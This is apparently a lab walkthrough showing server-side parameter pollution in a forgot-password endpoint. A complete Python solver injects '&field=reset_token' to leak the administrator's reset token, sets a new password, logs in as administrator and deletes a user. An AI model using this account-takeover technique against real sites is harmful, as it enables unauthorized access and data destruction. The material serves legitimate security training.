We’re asked to delete the user “carlos”, but how?! We don’t even have login information. Checking out the “My account” page, we can click “Forgot password?” and it takes us to a /forgot-password page. Submitting administrator as the username for the forgotten password, we receive a response to check our email.
Looking deeper at the HTML form, we notice that there’s some Javascript handling the form submission. Looks like it’s making a post request with our username to /forgot-password. Adding a # after the username parameter in the POST request, we receive a 400 Bad Request response, asking for the “field” parameter.
Looks like the field parameter is being specified by default? When we receive a 200 OK from our POST to /forgot-password, looks like “type” says “email”. Looking at the rest of of Javascript, seems like “reset_token” is a valid parameter. Injecting “&field=reset_token” to our username parameter, the backend processes our request and responds with a reset_token for the user.
Using this vulnerability, we reset the administrator’s password, login as the administrator, and delete the user “carlos”.
Solution:
# usage:
# python3 4.py \
# --u https://0aaa00a7037819be80f76c960063008a.web-security-academy.net
import http.client
import json
import re
from argparse import ArgumentParser
import requests
http.client.HTTPConnection.debuglevel = 1
class Solution:
def __init__(self, url: str) -> None:
self.url = url.rstrip("/")
self.s = None
def login(self, username: str, password: str) -> requests.Response:
self.s = requests.Session()
login_url = f"{self.url}/login"
r = self.s.get(login_url)
csrf = re.findall(r"\"csrf\" value=\"([\w]+)\"", r.text)[0]
r = self.s.post(
login_url,
data={
"csrf": csrf,
"username": username,
"password": password,
},
)
return r
def solve(self) -> None:
self.s = requests.Session()
forgot_password_url = f"{self.url}/forgot-password"
r = self.s.get(forgot_password_url)
csrf = re.findall(r"\"csrf\" value=\"([\w]+)\"", r.text)[0]
r = self.s.post(
forgot_password_url, data={"csrf": csrf, "username": "administrator"}
)
r = self.s.post(
forgot_password_url,
data={"csrf": csrf, "username": "administrator&field=reset_token"},
)
json_response = json.loads(r.text)
reset_token = json_response["result"]
r = self.s.get(f"{self.url}/forgot-password?reset_token={reset_token}")
csrf = re.findall(r"\"csrf\" value=\"([\w]+)\"", r.text)[0]
r = self.s.post(
f"{self.url}/forgot-password?reset_token={reset_token}",
data={
"csrf": csrf,
"reset_token": reset_token,
"new-password-1": "password",
"new-password-2": "password",
},
)
self.login("administrator", "password")
self.s.get(f"{self.url}/admin/delete?username=carlos")
def main():
parser = ArgumentParser()
parser.add_argument("--u", "--url", dest="url")
args = parser.parse_args()
s = Solution(args.url)
s.solve()
if __name__ == "__main__":
main()